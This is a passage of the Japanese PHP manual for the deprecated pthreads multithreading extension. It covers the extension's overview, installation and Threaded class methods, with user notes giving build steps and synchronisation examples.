Good luck!
r3x at engelhardt-stefan dot de 17-Nov-2015 06:17
If you try to test threading, remember to let php think slow:

Skript: -- C:\Webserver\htdocs>php mttest.php

<?php
class My extends Thread{
    function run(){
        for($i=1;$i<10;$i++){
            echo Thread::getCurrentThreadId() .  "\n";
            sleep(2);     // <------
        }
    }
}

for($i=0;$i<2;$i++){
    $pool[] = new My();
}

foreach($pool as $worker){
    $worker->start();
}
foreach($pool as $worker){
    $worker->join();
}
?>

Output: -- C:\Webserver\htdocs>php mttest.php
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816
6300
5816

If you leave sleep() out, the cpu-time for the threads is long enough to complete the script at once.
admin at deosnet dot com 19-Aug-2014 10:01
Hello,

WARNING : When using Stackable objects in callable functions by your Threads, you must be very careful if you use it as an array. Indeed, if you do not copy your Stackable "array" in a local variable, the execution time can drop drastically !

Also, if you want to modify an array() in a function, you will also store in a local variable in order that your array is in a thread-safe context.
jasonrlester at yahoo dot com 23-Feb-2014 12:08
Note that this extension *is* a high level implementation of POSIX threads, including on Windows (which is why pthreadsV*.dll is required)


はじめに

pthreads はオブジェクト指向の API で、PHP でマルチスレッド処理を行うのに必要なすべてのツールを提供します。 PHP アプリケーションで、Thread や Worker そして Threaded を作ったり読み書きしたり実行したりできるようになります。

警告

この拡張機能はメンテナンスされておらず、終了していると考えられます。

ヒント

parallel を代わりに使うことも検討してください。

警告

pthreads 拡張モジュールは、Webサーバ環境では使えません。 よって、PHP でのスレッド処理は CLIベースのアプリケーションに限られています。

警告

ptheads (v3) は PHP 7.2+ で使えます。 これは ZTS モードが 7.0 と 7.1 では安全でないためです。

Threaded クラスが、pthreads が実行できる機能のもとになります。 このクラスは同期のメソッドとプログラマにとって便利なインタフェイスをいくつか公開しています。

Thread クラスと使うと、 それを継承し、run メソッドを実装するだけでスレッドを作れます。 あらゆるメンバにスレッドの参照を使ってあらゆるコンテキストで読み書きができます。 また、あらゆるコンテキストが public と protected なメソッドを実行できます。 run メソッドは、この実装オブジェクトが作られたスレッドとは別の、 Thread::start() が呼ばれたスレッドで実行されます。 スレッドを作ったコンテキストだけが、スレッドの start や join を行えます。

Worker クラスは永続的な状態を保持し、 Thread::start() (またはそれを継承したメソッド) を呼んだ時点から オブジェクトがスコープ外に消えるまで、 あるいは明示的に(Worker::shutdown()経由で) shutdown するまで利用できます。 このオブジェクトを参照する任意のコンテキストから、 タスクを(Worker::stack() 経由で)ワーカーに積むことができ、 これを、Worker が別スレッドで実行します。 Worker の run メソッドは、あらゆるオブジェクトがスタックに積まれる前に実行されます。 そのため、オブジェクトで必要となるリソースの初期化に使えます。

Pool クラスを使って、 Threaded オブジェクトを分散させるワーカークラスのグループを作ることができます。 複数スレッドを扱う際に最も簡単かつ効率的な方法です。

警告

Pool クラスは Threaded クラスを継承していません。 そして、Pool ベースのオブジェクトは通常の PHP オブジェクトです。 よって、そのインスタンスをコンテキスト間で共有してはいけません。

Volatile は pthreads v3 で登場した新しいクラスです。 これは Threaded クラスのプロパティを変更可能にするために使います (なぜなら、これらはデフォルトでは変更できないからです) PHP の配列を Threaded コンテキストに保存する目的でも使えます。

同期はスレッドを扱う際に重要な機能です。 pthreads が作る全てのオブジェクトには (Java プログラマーならおなじみの) Threaded::wait() と Threaded::notify() による同期処理が組み込まれています。 あるオブジェクトの Threaded::wait() を呼ぶと、 別のコンテキストから同じオブジェクトの Threaded::notify() が呼ばれるのを待つようになります。 これを使えば、PHP 内のスレッド化されたオブジェクト (Threaded Object) どうしで強力な同期処理ができるようになります。

警告

マルチスレッドで実行されるあらゆるオブジェクトは Threaded を継承すべきです。

データストレージ: 目安として、シリアライズ可能なデータ型なら何でも、スレッド化されたオブジェクトのメンバーとして使えます。 そのオブジェクトへの参照を持つあらゆるコンテキストから、メンバーの読み書きができます。 すべてのデータ型がシリアライズされるわけではなく、基本型はそのままの形式で格納されます。 それ以外の複雑な型や配列、スレッド化されていないオブジェクトは、シリアライズして格納されます。 これらは、参照を持つ任意のコンテキストから、スレッド化されたオブジェクトへの読み書きができます。 スレッド化されたオブジェクトを例外として、 あるスレッド化されたオブジェクトのメンバーを設定するために使うあらゆる参照は、 そのスレッド化されたオブジェクト内の参照とは区別されます。 同じデータを、いつでもどのコンテキストからでも、 スレッド化されたオブジェクトから直接読み込めます。

静的メンバー: 新しいコンテキスト (Thread あるいは Worker) を作るときには、一般的にそれらはコピーされます。 しかし、リソースおよび内部状態を持つオブジェクトは、安全性を考慮して null 化されます。 これを、一種のスレッドローカルストレージとして使えます。 たとえば、データベースサーバーへの接続情報と接続そのものを静的メンバーとして持つクラスがあるとします。 コンテキストを開始するときには接続情報だけがコピーされ、接続自体はコピーされません。 新しいコンテキスト上ではそのコンテキストを作ったオブジェクトと同じ方法で接続を立ち上げることができ、 その接続を同じ場所に格納しても元のコンテキストには何も影響を及ぼしません。

警告

print_r や var_dump などのオブジェクトのデバッグ用関数を実行するきには、 再帰の制限が含まれません。

注意:

リソース: PHP のリソースを定義している拡張モジュールは、この手の環境で扱うには不十分です。 pthreads はリソースをコンテキスト間で共有するための対策を用意していますが、 大半のリソース型は安全には扱えません。 コンテキスト間でリソースを共有するときには、いくら注意してもしすぎることはありません。

警告

pthreads を実行する環境下では、安定した環境を提供するためにいくつかの制約と限界があります。

User Contributed Notes

Anon 23-Aug-2019 04:40
Joe Watkins the creator of pthreads and parallel announced in February this year (2019) that pthreads will no longer be maintained after PHP 7.4 due to architectural flaws.

For the future instead of pthread, parallel should be used.

Announcement:
https://github.com/krakjoe/pthreads/issues/929#issue-410636734


要件

pthreads を使うには、ビルド時に ZTS を有効 ( --enable-maintainer-zts、あるいは Windows なら --enable-zts ) にする必要があります。

警告

ZTS はビルド時の設定オプションです。ビルドした後で変更することはできません。

pthreads は、Posix スレッドのヘッダファイル (pthread.h) と ZTS 版の PHP があればどこでもビルドできます。 Windows でもビルド可能で、その際には redhat の pthread-w32 プロジェクトを利用します。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

pthreads のリリースは PECL でホストされており、ソースコードは » github にあります。 最も簡単なインストール方法は、PECL の » https://pecl.php.net/package/pthreads からのインストールです。

Windows ユーザー用のビルド済みバイナリは、» PECL のウェブサイトからダウンロードできます。

警告

Windows ユーザーはさらに、pthreadVC2.dll (Windows 版のリリースに含まれています) をパスの通った場所に置くという作業も必要です。

User Contributed Notes

bens at effortlessis dot com 12-Sep-2020 05:23
Sadly, this extension seems to be in poor repair. After spending a few hours trying to get it to fly on Fedora 32 with PHP 7.4, I noticed that it's not really maintained since about 2016.

Attempting to compile it with PHP 7.4 results in screens full of nasty compile errors.
horica78 at yahoo dot com 15-Apr-2019 08:00
They can still be used in web server if used with exec('php script.php') and php-cli.ini .
agnelvishal at gmail dot com 11-Nov-2018 01:11
To compile PHP 7.2 with pthreads on Ubuntu 16.04 or Ubuntu 18.04 or Debian 9 Stretch, use this bash file at https://gist.github.com/agnelvishal/24f42c65af2f6cace1e9387617a0182a
and dot webdev at gmail dot com 08-Dec-2016 04:28
Also, possible by phpbrew

1. phpbrew install php-5.5.30 -- --enable-maintainer-zts
2. phpbrew use php-5.5.30
3. phpbrew ext install pthreads 2.0.10
Michel Phillipe Luca 20-Dec-2014 07:38
Here is how I got it working under Linux Ubuntu distro - WITHOUT USE PECL:

We will download both, PHP and Pthread without PECL

1 - Get PHP version
For this example we will use version: 5.4.36

# wget http://www.php.net/distributions/php-5.4.36.tar.gz

2- Get Pthreads version:
I'm using an old version but, you could take any one

# wget http://pecl.php.net/get/pthreads-1.0.0.tgz

Extract both, php and pthreads versions

#tar zxvf php-5.4.36.tar.gz
#tar zxvf pthreads-1.0.0.tgz

3- Move Pthreads to php/ext folder. Inside version of PHP downloaded at item 1.

4- Reconfigure sources
# ./buildconf --force
# ./configure --help | grep pthreads

You have to see --enable-pthreads listed. If do not, clear the buidls with this commands:

# rm -rf aclocal.m4
# rm -rf autom4te.cache/
# ./buildconf --force

5 - Inside php folder run configure command to set what we need:
# ./configure --enable-debug --enable-maintainer-zts --enable-pthreads --prefix=/usr --with-config-file-path=/etc

6 - Install PHP
We will run make clear just to be sure that no other crashed build will mess our new one.

# make clear
# make
# make install

7 - Copy configuration file of PHP and add local lib to include path
# cp php.ini-development /etc/php.ini

Edit php.ini and set Include_path to be like this:

Include_path = "/usr/local/lib/php"

9 - Check Modules
# php -m (check pthread loaded)

You have to see pthreads listed

10 - If pthread is not listed, update php.ini
# echo "extension=pthreads.so" >> /etc/php.ini
sawyer dot lin at gmail dot com 15-Dec-2014 05:42
To execute pecl install pthreads
The library autoconf shoud be installed at first
http://stackoverflow.com/questions/9322742/php-autoconf-errors-on-mac-os-x-10-7-3-when-trying-to-install-pecl-extensions
like
apt-get install pthreads
zahid dot smz at gmail dot com 11-May-2014 07:43
For Wampp (Windows)
-----------------------------------------------------------------------------------
1.  Find out what is your 'PHP Extension Build' version by using phpinfo(). You can use this - http://localhost/?phpinfo=1

2.  Download the pthreads that matches your php version (32 bit or 64 bit) and php extension build (currently used VC11). Use this link for download - http://windows.php.net/downloads/pecl/releases/pthreads/

3.  Extract the zip -
      Move php_pthreads.dll to the 'bin\php\ext\' directory.
      Move pthreadVC2.dll to the 'bin\php\' directory.
      Move pthreadVC2.dll to the 'bin\apache\bin' directory.
      Move pthreadVC2.dll to the 'C:\windows\system32' directory.

4.  Open php\php.ini and add
      extension=php_pthreads.dll

Now restart server and you are done. Thanks.
Pedro Proenca 12-Apr-2014 11:22
I haven't found any proper instructions on how to install pthreads in linux, so I'll leave the steps I followed:

# Required libraries
sudo apt-get install gcc make libzzip-dev libreadline-dev libxml2-dev \
libssl-dev libmcrypt-dev libcurl4-openssl-dev lib32bz2-dev

# Download PHP
cd /usr/local/src

wget http://www.php.net/distributions/php-<version>.tar.gz
( e.g. wget http://www.php.net/distributions/php-5.5.8.tar.gz )

# Extract
tar zxvf php-<version>.tar.gz
(e.g. tar zxvf php-5.5.8.tar.gz )

# Configure
cd /usr/local/src/php-<version>
( e.g. cd /usr/local/src/php-5.5.8 )

./configure --prefix=/usr --with-config-file-path=/etc --enable-maintainer-zts

# Compile
make && make install
( make -j3 && make -j3 install) -> Faster building

# Copy configuration
cp php.ini-development /etc/php.ini

# Install pthreads
pecl install pthreads
echo "extension=pthreads.so" >> /etc/php.ini

# Check installation
php -m | grep pthreads
pedro dot proenca at shapedfor dot me 12-Apr-2014 11:21
I haven't found any proper instructions on how to install pthreads in linux, so I'll leave the steps I followed:

# Required libraries
sudo apt-get install gcc make libzzip-dev libreadline-dev libxml2-dev \
libssl-dev libmcrypt-dev libcurl4-openssl-dev lib32bz2-dev

# Download PHP
cd /usr/local/src

wget http://www.php.net/distributions/php-<version>.tar.gz
( e.g. wget http://www.php.net/distributions/php-5.5.8.tar.gz )

# Extract
tar zxvf php-<version>.tar.gz
(e.g. tar zxvf php-5.5.8.tar.gz )

# Configure
cd /usr/local/src/php-<version>
( e.g. cd /usr/local/src/php-5.5.8 )

./configure --prefix=/usr --with-config-file-path=/etc --enable-maintainer-zts

# Compile
make && make install
( make -j3 && make -j3 install) -> Faster building

# Copy configuration
cp php.ini-development /etc/php.ini

# Install pthreads
pecl install pthreads
echo "extension=pthreads.so" >> /etc/php.ini

# Check installation
php -m | grep pthreads
rbfowler9lfc at hotmail dot com 19-Aug-2013 02:32
For those using XAMPP or other apache-php bundles, it's necessary to add LoadFile "C:/xampp/php/pthreadVC2.dll" to httpd-xampp.conf if you want to utilize pthreads in a browser window.
matias dot zumbo at gmail dot com 30-Jul-2013 11:54
HOW TO INSTALL IN LINUX SYSTEM'S:
------------------------------------

1) Download PHP sources and Unpack PHP

2) Download PEAR
     wget http://pear.php.net/go-pear.phar
     php go-pear.phar

3) Download pthreads
Get PECL extension (PECL is a repository for PHP Extensions)

# pecl install pthread-0.4.4

4) Unpack pthreads
copy pthread-0.4.4  to  php/ext
(for ./configure allow  add option --enable-pthreads)

# mv build/php-src-master/ext/pthreads-master    build/php-src-master/ext/pthreads

5)  Reconfigure sources
# ./buildconf --force
# ./configure --help | grep pthreads

You should see the appropriate --enable-pthreads option listed as a result, if you do not, then

# rm -rf aclocal.m4
# rm -rf autom4te.cache/
# ./buildconf --force

6) Build PHP
Compile PHP source code
Add:
# ./configure --enable-debug --enable-maintainer-zts --enable-pthreads

7) Installing PHP
# make
# sudo make install

8) Update php.ini
Add in php.ini
extension=pthreads.so
Include_path = "/usr/local/lib/php"

9) Check Modules
php -m (check pthread loaded)

10) Test Thread Class
# php SimpleTest.php
jason at jason-rush dot com 27-Jun-2013 08:54
The files are in the format:
php_pthreads-X.XX-Y.Y-ts-vcZZ-x86.zip

where
X.XX is the version of the phpthreads-win32
Y.Y is the base version of PHP that you are running
ZZ is ?? (version of compiler?)

Currently, 0.44 is the latest release of phpthreads-win32, so X.XX = 0.44
If you are running PHP 5.3.13, then Y.Y = 5.3
If you are running PHP 5.5.0, then Y.Y=5.5
etc

php_pthreads-0.44-5.3-ts-vc9-x86.zip
php_pthreads-0.44-5.4-ts-vc9-x86.zip
php_pthreads-0.44-5.5-ts-vc11-x64.zip
php_pthreads-0.44-5.5-ts-vc11-x86.zip
Jimmy Christensen 16-May-2013 08:55
On Windows the installation is as follows:

Download the pthreads that matches your php version.
I found mine at: http://windows.php.net/downloads/pecl/releases/pthreads/
(I used version 0.44 wich is the newest at the time of writing this, and then downloaded the one for php 5.3 which is the version I am using).

Extract the zip.
Move php_pthreads.dll to the php\ext\ directory.
Move pthreadVC2.dll to the php\ directory.

Open php\php.ini and add
extension=php_pthreads.dll

You are done.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

PTHREADS_INHERIT_ALL (int)
The default options for all Threads, causes pthreads to copy the environment when new Threads are started
PTHREADS_INHERIT_NONE (int)
Do not inherit anything when new Threads are started
PTHREADS_INHERIT_INI (int)
Inherit INI entries when new Threads are started
PTHREADS_INHERIT_CONSTANTS (int)
Inherit user declared constants when new Threads are started
PTHREADS_INHERIT_CLASSES (int)
Inherit user declared classes when new Threads are started
PTHREADS_INHERIT_FUNCTIONS (int)
Inherit user declared functions when new Threads are started
PTHREADS_INHERIT_INCLUDES (int)
Inherit included file information when new Threads are started
PTHREADS_INHERIT_COMMENTS (int)
Inherit all comments when new Threads are started
PTHREADS_ALLOW_HEADERS (int)
Allow new Threads to send headers to standard output (normally prohibited)

User Contributed Notes

There are no user contributed notes for this page.


The Threaded class

(PECL pthreads >= 2.0.0)

はじめに

Threaded objects form the basis of pthreads ability to execute user code in parallel; they expose synchronization methods and various useful interfaces.

Threaded objects, most importantly, provide implicit safety for the programmer; all operations on the object scope are safe.

クラス概要

Threaded implements Collectable , Traversable , Countable , ArrayAccess {
/* メソッド */
public chunk ( int $size , bool $preserve ) : array
public count ( ) : int
public extend ( string $class ) : bool
public from ( Closure $run , Closure $construct = ? , array $args = ? ) : Threaded
public getTerminationInfo ( ) : array
public isRunning ( ) : bool
public isTerminated ( ) : bool
public isWaiting ( ) : bool
public lock ( ) : bool
public merge ( mixed $from , bool $overwrite = ? ) : bool
public notify ( ) : bool
public notifyOne ( ) : bool
public pop ( ) : bool
public run ( ) : void
public shift ( ) : mixed
public synchronized ( Closure $block , mixed ...$args ) : mixed
public unlock ( ) : bool
public wait ( int $timeout = ? ) : bool
}

目次

  • Threaded::chunk — Manipulation
  • Threaded::count — Manipulation
  • Threaded::extend — Runtime Manipulation
  • Threaded::from — Creation
  • Threaded::getTerminationInfo — Error Detection
  • Threaded::isRunning — State Detection
  • Threaded::isTerminated — State Detection
  • Threaded::isWaiting — State Detection
  • Threaded::lock — Synchronization
  • Threaded::merge — Manipulation
  • Threaded::notify — Synchronization
  • Threaded::notifyOne — Synchronization
  • Threaded::pop — Manipulation
  • Threaded::run — Execution
  • Threaded::shift — Manipulation
  • Threaded::synchronized — Synchronization
  • Threaded::unlock — Synchronization
  • Threaded::wait — Synchronization

User Contributed Notes

jtbibliomania at gmail dot com 24-Jun-2019 06:43
It's worth mentioning here that, since v2.0.0, 'Stackable' class was an alias for 'Threaded' class but has been removed since.
312036773 at qq dot com 11-Nov-2015 07:58
<?php

class Wallet{
    public $balance;
    public function __construct($money){
        $this->balance = $money;
    }
    public function getBalance(){
        return $this->balance;
    }
    public function setBalance($value){
        $this->balance = $value;
    }
}
class MyThread extends Thread{
    private $wallet;
    private $std;
    public function __construct($wallet,$std){
        $this->wallet = $wallet;
        $this->std = $std;
    }
    public function run(){
        $this->synchronized(function($thread){
                $hack = $this->wallet;
                if($hack->getBalance() - 80 >0){
                    sleep(1);
                    $hack->setBalance($hack->getBalance() - 80);
                    echo $this->getThreadId() . "reduce 80 successful<br/>Current num is：" . $hack->getBalance() . "<Br/>";
                    //Here is Wrong!  The result is bool(false)????!!!!
                    var_dump($hack == $this->wallet);
                }
                 else
                     echo $this->getThreadId() . "reduce fail<br/>Current num is：" . $hack->getBalance() . "<br/>";

        },$this->std);
    }
}
$wallet = new Wallet(200);
$std = new stdClass();
for($x=0;$x<3;$x++){
    $pool[] = new MyThread($wallet,$std);
    $pool[$x]->start();
}
derkontrollfreak+php at gmail dot com 12-Jul-2015 07:50
> Threaded objects, most importantly, provide implicit safety for the programmer; all operations on the object scope are safe.

However, this comes with a trade-off: Operations on the instance scope are slower than on plain PHP objects.

Static properties are not affected as they are thread-local.


Manipulation

  • ≪ Threaded
  • Threaded::count ≫
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::chunk

(PECL pthreads >= 2.0.0)

Threaded::chunk — Manipulation

説明

public Threaded::chunk ( int $size , bool $preserve ) : array

Fetches a chunk of the objects property table of the given size, optionally preserving keys

パラメータ

size

The number of items to fetch

preserve

Preserve the keys of members, by default false

返り値

An array of items from the objects property table

例

例1 Fetch a chunk of the property table

<?php
$safe = new Threaded();

while (count($safe) < 10) {
    $safe[] = count($safe);
}

var_dump($safe->chunk(5));
?>

上の例の出力は以下となります。

array(5) {
  [0]=>
  int(0)
  [1]=>
  int(1)
  [2]=>
  int(2)
  [3]=>
  int(3)
  [4]=>
  int(4)
}

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

  • ≪ Threaded::chunk
  • Threaded::extend ≫
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::count

(PECL pthreads >= 2.0.0)

Threaded::count — Manipulation

説明

public Threaded::count ( ) : int

Returns the number of properties for this object

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Counting the properties of an object

<?php
$safe = new Threaded();

while (count($safe) < 10) {
    $safe[] = count($safe);
}

var_dump(count($safe));
?>

上の例の出力は以下となります。

int(10)

User Contributed Notes

There are no user contributed notes for this page.


Runtime Manipulation

  • ≪ Threaded::count
  • Threaded::from ≫
  • PHP Manual
  • Threaded
  • Runtime Manipulation

Threaded::extend

(PECL pthreads >= 2.0.8)

Threaded::extend — Runtime Manipulation

説明

public Threaded::extend ( string $class ) : bool

Makes thread safe standard class at runtime

パラメータ

class

The class to extend

返り値

A boolean indication of success

例

例1 Runtime inheritance

<?php
class My {}

Threaded::extend(My::class);

$my = new My();

var_dump($my instanceof Threaded);
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Creation

  • ≪ Threaded::extend
  • Threaded::getTerminationInfo ≫
  • PHP Manual
  • Threaded
  • Creation

Threaded::from

(PECL pthreads >= 2.0.9)

Threaded::from — Creation

警告

This method has been removed in pthreads v3. With the introduction of anonymous classes in PHP 7, these can now be used instead.

説明

public Threaded::from ( Closure $run , Closure $construct = ? , array $args = ? ) : Threaded

Creates an anonymous Threaded object from closures

パラメータ

run

The closure to use for ::run

construct

The constructor to use for anonymous object

args

The arguments to pass to constructor

返り値

A new anonymous Threaded object

例

例1 Thread safe objects from closures

<?php
$pool = new Pool(4);
$pool->submit(Collectable::from(function(){
    echo "Hello World";
    $this->setGarbage();
}));
/* ... */
$pool->shutdown();
?>

上の例の出力は以下となります。

Hello World

User Contributed Notes

There are no user contributed notes for this page.


Error Detection

  • ≪ Threaded::from
  • Threaded::isRunning ≫
  • PHP Manual
  • Threaded
  • Error Detection

Threaded::getTerminationInfo

(PECL pthreads < 3.0.0)

Threaded::getTerminationInfo — Error Detection

警告

This method has been removed in pthreads v3. Instead, the body of Threaded::run() can be wrapped in a try...catch block to detect errors (since most errors in PHP 7 have been converted to exceptions).

説明

public Threaded::getTerminationInfo ( ) : array

Retrieves terminal error information from the referenced object

パラメータ

この関数にはパラメータはありません。

返り値

array containing the termination conditions of the referenced object

例

例1 Detecting fatal errors in Threads

<?php
class My extends Thread {
    public function run() {
        @not_found();
    }
}

$my = new My();
$my->start();
$my->join();

var_dump($my->isTerminated(), $my->getTerminationInfo());
?>

上の例の出力は以下となります。

bool(true)
array(4) {
  ["scope"]=>
  string(2) "My"
  ["function"]=>
  string(3) "run"
  ["file"]=>
  string(29) "/usr/src/pthreads/sandbox.php"
  ["line"]=>
  int(4)
}

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ≪ Threaded::getTerminationInfo
  • Threaded::isTerminated ≫
  • PHP Manual
  • Threaded
  • State Detection

Threaded::isRunning

(PECL pthreads >= 2.0.0)

Threaded::isRunning — State Detection

説明

public Threaded::isRunning ( ) : bool

Tell if the referenced object is executing

パラメータ

この関数にはパラメータはありません。

返り値

A boolean indication of state

注意:

A object is considered running while executing the run method

例

例1 Detect the state of the referenced object

<?php
class My extends Thread {
    public function run() {
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
var_dump($my->isRunning());
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ≪ Threaded::isRunning
  • Threaded::isWaiting ≫
  • PHP Manual
  • Threaded
  • State Detection

Threaded::isTerminated

(PECL pthreads >= 2.0.0)

Threaded::isTerminated — State Detection

説明

public Threaded::isTerminated ( ) : bool

Tell if the referenced object was terminated during execution; suffered fatal errors, or threw uncaught exceptions

パラメータ

この関数にはパラメータはありません。

返り値

A boolean indication of state

例

例1 Detect the state of the referenced object

<?php
class My extends Thread {
    public function run() {
        i_do_not_exist();
    }
}
$my = new My();
$my->start();
$my->join();
var_dump($my->isTerminated());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ≪ Threaded::isTerminated
  • Threaded::lock ≫
  • PHP Manual
  • Threaded
  • State Detection

Threaded::isWaiting

(PECL pthreads < 3.0.0)

Threaded::isWaiting — State Detection

警告

This method has been removed in pthreads v3.

説明

public Threaded::isWaiting ( ) : bool

Tell if the referenced object is waiting for notification

パラメータ

この関数にはパラメータはありません。

返り値

A boolean indication of state

例

例1 Detect the state of the referenced object

<?php
class My extends Thread {
    public function run() {
        $this->synchronized(function($thread){
            if (!$this->done)
                $thread->wait();
        }, $this);
    }

    protected $done;
}
$my = new My();
$my->start();
$my->synchronized(function($thread){
    var_dump(
        $thread->isWaiting());
    $thread->done = true;
    $thread->notify();
}, $my);
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ≪ Threaded::isWaiting
  • Threaded::merge ≫
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::lock

(PECL pthreads < 3.0.0)

Threaded::lock — Synchronization

警告

This method has been removed in pthreads v3. The Threaded::synchronized() method should now be used.

説明

public Threaded::lock ( ) : bool

Lock the referenced objects property table

パラメータ

この関数にはパラメータはありません。

返り値

A boolean indication of success

例

例1 Locking Object Properties

<?php
class My extends Thread {
    public function run() {
        var_dump($this->lock());
        /** nobody can read or write **/
        var_dump($this->unlock());
        /** reading / writing resumed for all other contexts */
    }
}
$my = new My();
$my->start();
?>

上の例の出力は以下となります。

bool(true)
bool(true)

User Contributed Notes

312036773 at qq dot com 18-Dec-2015 04:24
index.php
<?php
if (class_exists ( "Entity\My" )) {
    $my = new Entity\My ( 200 );
}
if (class_exists ( "Entity\T" )) {
    for($i = 0; $i < 3; $i ++) {
        $t [] = new Entity\T ( $my );
    }
}
foreach ($t as $item){
    $item->start();
}
t.class.php
<?php
class T extends \Thread{
    private $my;
    public function __construct($my){
        $this->my = $my;
    }
    public function run(){
        $this->my->draw("120");
    }
}
my.class.php
<?php
class My extends Thread{
    private $balance;
    public function __construct($balance){
        $this->balance = $balance;
    }
    public function draw($cost){
        $this->lock();
        if($this->balance >= $cost){
            usleep(500);
            $this->balance -= $cost;
            echo Thread::getCurrentThreadId() . "__get__${cost},now the balance is:{$this->balance}<br/>";
        }
        else
            echo Thread::getCurrentThreadId() . "__get fail__,now the balance is :{$this->balance}<br/>";
        $this->unlock();
    }
}


Manipulation

  • ≪ Threaded::lock
  • Threaded::notify ≫
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::merge

(PECL pthreads >= 2.0.0)

Threaded::merge — Manipulation

説明

public Threaded::merge ( mixed $from , bool $overwrite = ? ) : bool

Merges data into the current object

パラメータ

from

The data to merge

overwrite

Overwrite existing keys, by default true

返り値

A boolean indication of success

例

例1 Merging into the property table of a threaded object

<?php
$array = [];

while (count($array) < 10)
    $array[] = count($array);

$stdClass = new stdClass();
$stdClass->foo = "foo";
$stdClass->bar = "bar";
$stdClass->baz = "baz";

$safe = new Threaded();
$safe->merge($array);

$safe->foo = "bar";
$safe->merge($stdClass, false);

var_dump($safe);
?>

上の例の出力は以下となります。

object(Threaded)#2 (13) {
  ["0"]=>
  int(0)
  ["1"]=>
  int(1)
  ["2"]=>
  int(2)
  ["3"]=>
  int(3)
  ["4"]=>
  int(4)
  ["5"]=>
  int(5)
  ["6"]=>
  int(6)
  ["7"]=>
  int(7)
  ["8"]=>
  int(8)
  ["9"]=>
  int(9)
  ["foo"]=>
  string(3) "bar"
  ["bar"]=>
  string(3) "bar"
  ["baz"]=>
  string(3) "baz"
}

User Contributed Notes

cottton 15-Aug-2015 07:41
The example output is different on my side:
<?php
/*
object(Threaded)#2 (11) {
  ["0"]=>
  int(0)
  ["1"]=>
  int(1)
  ["2"]=>
  int(2)
  ["3"]=>
  int(3)
  ["4"]=>
  int(4)
  ["5"]=>
  int(5)
  ["6"]=>
  int(6)
  ["7"]=>
  int(7)
  ["8"]=>
  int(8)
  ["9"]=>
  int(9)
  ["foo"]=>
  string(3) "bar"
}
*/
?>
for
windows using
PHP_VERSION 5.6.11
php_pthreads-2.0.10-5.6-ts-vc11-x86.zip @ http://windows.php.net/downloads/pecl/releases/pthreads/2.0.10/

and

linux using
PHP_VERSION 5.6.10-1~dotdeb+zts+7.3

So $stdClass wont be merged.


Synchronization

  • ≪ Threaded::merge
  • Threaded::notifyOne ≫
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::notify

(PECL pthreads >= 2.0.0)

Threaded::notify — Synchronization

説明

public Threaded::notify ( ) : bool

Send notification to the referenced object

パラメータ

この関数にはパラメータはありません。

返り値

A boolean indication of success

例

例1 Notifications and Waiting

<?php
class My extends Thread {
    public function run() {
        /** cause this thread to wait **/
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
/** send notification to the waiting thread **/
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
var_dump($my->join());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

cottton at i-stats dot net 18-Nov-2014 01:34
Seems like some operators dont work.
f.e. $thread->array[] = 1;  fails

a simple test:
<?php
class My extends Thread
{
    public
        $array = array('default val 1', 'default val 2'),
        $msg = 'default',
        $stop = false;

    public function run()
    {
        while(true)
        {
            echo $this->msg . PHP_EOL;
            if(count($this->array) > 0){
                foreach($this->array as $val){
                    var_dump($val);
                }
                $this->array = array();
            }
            /** cause this thread to wait **/
            $this->synchronized(
                function($thread){
                    if(count($this->array) < 1){
                        $thread->wait();
                    }
                },
                $this
            );
            echo PHP_EOL;
            if($this->stop){
                break;
            }
        } // while
    }
}
$my = new My();
$my->start();

sleep(1); // wait a bit

// test 1 - $thread->array[] = 1;
$my->synchronized(
    function($thread){
        $thread->msg = 'test 1';
        $thread->array[] = 1;
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

// test 2 - array_push($thread->array, 2);
$my->synchronized(
    function($thread){
        $thread->msg = 'test 2';
        array_push($thread->array, 2);
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

// test 3 - array_push($thread->array, 2);
$my->synchronized(
    function($thread){
        $thread->msg = 'test 3';
        $new = array(3);
        $thread->array = array_merge($thread->array, $new);
        $thread->notify();
    },
    $my
);

sleep(1); // wait a bit

$my->stop = true;
?>
out:
default
string(13) "default val 1"
string(13) "default val 2"

test 1

test 2

test 3
int(3)

so in this case only array_merge() worked.


Synchronization

  • ≪ Threaded::notify
  • Threaded::pop ≫
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::notifyOne

(PECL pthreads >= 3.0.0)

Threaded::notifyOne — Synchronization

説明

public Threaded::notifyOne ( ) : bool

Send notification to the referenced object. This unblocks at least one of the blocked threads (as opposed to unblocking all of them, as seen with Threaded::notify()).

パラメータ

この関数にはパラメータはありません。

返り値

A boolean indication of success

例

例1 Notifications and Waiting

<?php
class My extends Thread {
    public function run() {
        /** cause this thread to wait **/
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
/** send notification to the waiting thread **/
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notifyOne();
}, $my);
var_dump($my->join());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

